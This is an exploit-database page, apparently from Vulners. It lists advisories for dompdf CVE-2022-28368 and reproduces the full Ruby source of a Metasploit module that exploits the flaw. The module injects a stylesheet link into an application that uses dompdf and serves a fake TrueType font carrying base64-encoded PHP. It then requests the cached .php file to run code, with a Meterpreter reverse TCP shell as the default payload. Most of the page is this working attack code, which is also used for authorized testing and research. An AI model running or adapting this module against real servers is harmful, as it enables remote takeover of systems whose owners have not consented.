| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Dompdf 1.2.1 - Remote Code Execution Exploit | 6 Apr 202300:00 | – | zdt | |
| Exploit for Cross-site Scripting in Dompdf_Project Dompdf | 13 Feb 202308:10 | – | githubexploit | |
| Exploit for Cross-site Scripting in Dompdf_Project Dompdf | 28 Apr 202309:49 | – | githubexploit | |
| CVE-2022-28368 | 3 Apr 202203:15 | – | attackerkb | |
| CVE-2022-28368 | 3 Apr 202207:21 | – | circl | |
| Dompdf 跨站脚本漏洞 | 3 Apr 202200:00 | – | cnnvd | |
| CVE-2022-28368 | 3 Apr 202200:00 | – | cve | |
| CVE-2022-28368 | 3 Apr 202200:00 | – | cvelist | |
| CVE-2022-28368 | 3 Apr 202200:00 | – | debiancve | |
| Dompdf 1.2.1 - Remote Code Execution (RCE) | 6 Apr 202300:00 | – | exploitdb |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dompdf RCE via Malicious Font Caching (CVE-2022-28368)',
'Description' => %q{
This module exploits CVE-2022-28368, a Remote Code Execution vulnerability
in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf
preserves the original file extension when caching fonts downloaded via CSS
@font-face rules. By pointing a @font-face src to a .php file containing a
valid TrueType font header with embedded PHP code, the file is saved in the
dompdf font cache (lib/fonts/) with its .php extension intact. The cached
file can then be executed by directly requesting it from the web server.
For dompdf versions <= 0.8.5, remote font loading works regardless of the
$isRemoteEnabled setting. For versions 0.8.6 through 1.2.0, the
$isRemoteEnabled option must be set to true.
This module requires the ability to inject HTML/CSS into the data processed
by dompdf (e.g., via an XSS, a user-controlled form field, or a direct
parameter) and that the dompdf font cache directory is web-accessible.
},
'License' => MSF_LICENSE,
'Author' => [
'Maximilian Kirchmeier', # Vulnerability discovery (Positive Security)
'Fabian Bräunlein', # Vulnerability discovery (Positive Security)
'rvizx', # PoC exploit
'msutovsky-r7', # Metasploit module final
'Adithya Pawar' # Metasploit module init
],
'References' => [
['CVE', '2022-28368'],
['GHSA', '56gj-mvh6-rp75'],
['URL', 'https://positive.security/blog/dompdf-rce'],
['URL', 'https://github.com/rvizx/CVE-2022-28368']
],
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2022-04-05',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('DOMPDF_PATH', [true, 'Web-accessible path to the dompdf installation', '/dompdf']),
OptString.new('INJECT_PARAMETER', [true, 'The parameter allowing to inject custom CSS', '']),
]
)
end
FONT_HEADER = "\x00\x01\x00\x00\x00\x0F\x00\x80\x00\x03\x00\x70\x44\x53\x49\x47" \
"\x00\x00\x00\x01\x00\x00\x75\xE0\x00\x00\x00\x08\x47\x44\x45\x46" \
"\x00\x10\x00\xC7\x00\x00\x75\xE8\x00\x00\x00\x16\x47\x50\x4F\x53" \
"\x6C\x91\x74\x8F\x00\x00\x76\x00\x00\x00\x00\x20\x47\x53\x55\x42" \
"\xE0\x34\xE1\xE2\x00\x00\x76\x20\x00\x00\x00\x46\x4F\x53\x2F\x32" \
"\x34\xF4\x4A\xE2\x00\x00\x01\x78\x00\x00\x00\x60\x63\x6D\x61\x70" \
"\x65\xE2\xC8\xD2\x00\x00\x04\xF4\x00\x00\x02\x26\x67\x61\x73\x70" \
"\xFF\xFF\x00\x03\x00\x00\x75\xD8\x00\x00\x00\x08\x67\x6C\x79\x66" \
"\x1D\x57\xEE\x42\x00\x00\x08\xAC\x00\x00\x68\x6C\x68\x65\x61\x64" \
"\x1C\x59\xE0\x33\x00\x00\x00\xFC\x00\x00\x00\x36\x68\x68\x65\x61" \
"\x08\x66\x02\xF8\x00\x00\x01\x34\x00\x00\x00\x24\x68\x6D\x74\x78" \
"\x2C\xBF\xFF\xD3\x00\x00\x01\xD8\x00\x00\x03\x1C\x6C\x6F\x63\x61" \
"\x72\xA0\x8C\x94\x00\x00\x07\x1C\x00\x00\x01\x90\x6D\x61\x78\x70" \
"\x00\xD5\x01\x87\x00\x00\x01\x58\x00\x00\x00\x20\x6E\x61\x6D\x65" \
"\x3D\x94\x69\x86\x00\x00\x71\x18\x00\x00\x02\xE4\x70\x6F\x73\x74" \
"\x4C\x60\x52\x7C\x00\x00\x73\xFC\x00\x00\x01\xD9\x00\x01\x00\x00" \
"\x00\x01\x00\x00\x7C\x16\x35\xE6\x5F\x0F\x3C\xF5\x00\x0B\x03\xE8" \
"\x00\x00\x00\x00\xD7\x8F\x89\xE0\x00\x00\x00\x00\xE1\xCB\x12\x5C" \
"\xFF\x74\xFE\x93\x04\x6D\x04\x81\x00\x00\x00\x06\x00\x01\x00\x00" \
"\x00\x00".b.freeze
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', 'dompdf_font_family_cache.php')
)
return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'VERSION')
)
return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200
version = Rex::Version.new(res.body.strip)
return Exploit::CheckCode::Appears("The vulnerable version of DOMPDF #{version} detected") if version <= Rex::Version.new('1.2.0')
Exploit::CheckCode::Safe("The DOMPDF detected, but it's running patched version")
end
def on_request_uri(cli, request)
css_payload = %<
@font-face {
font-family:'#{@font_family_name}';
src:url('#{@malicious_font_uri}');
font-weight:'normal';
font-style:'normal';
}
>
font_payload = FONT_HEADER + %<\n<?php eval(base64_decode("#{Rex::Text.encode_base64(payload.encoded)}")) ?>>
case request.uri
when "/#{@css_name}"
print_status('Serving exploit CSS file to dompdf...')
send_response(cli, css_payload, {
'Content-Type' => 'text/css'
})
when "/#{@font_name}"
print_status('Serving font TTF file to dompdf...')
send_response(cli, font_payload, {
'Content-Type' => 'application/octet-stream'
})
else
print_error("Unexpected request: #{request.uri}")
send_not_found(cli)
end
end
def send_payload
param_name = datastore['INJECT_PARAMETER']
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH']),
'method' => 'GET',
'vars_get' =>
{
'pdf' => nil,
param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
}
})
return true if res&.code == 200
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH']),
'method' => 'POST',
'vars_post' => {
param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
}
})
return true if res&.code == 200
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH']),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
}.to_json
})
return true if res&.code == 200
false
end
def trigger_payload
send_request_cgi({
'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', "#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php"),
'method' => 'GET'
})
end
def load_malicious_font
@font_name = "#{Rex::Text.rand_text_alpha(8)}.php"
@css_name = "#{Rex::Text.rand_text_alpha(8)}.css"
@font_family_name = Rex::Text.rand_text_alpha(8)
binding_ip = srvhost_addr
proto = datastore['SSL'] ? 'https' : 'http'
@malicious_css_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@css_name}"
@malicious_font_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@font_name}"
fail_with(Failure::PayloadFailed, 'Failed to load malicious font') unless send_payload
end
def exploit
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
}
})
load_malicious_font
register_file_for_cleanup("#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php")
trigger_payload
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation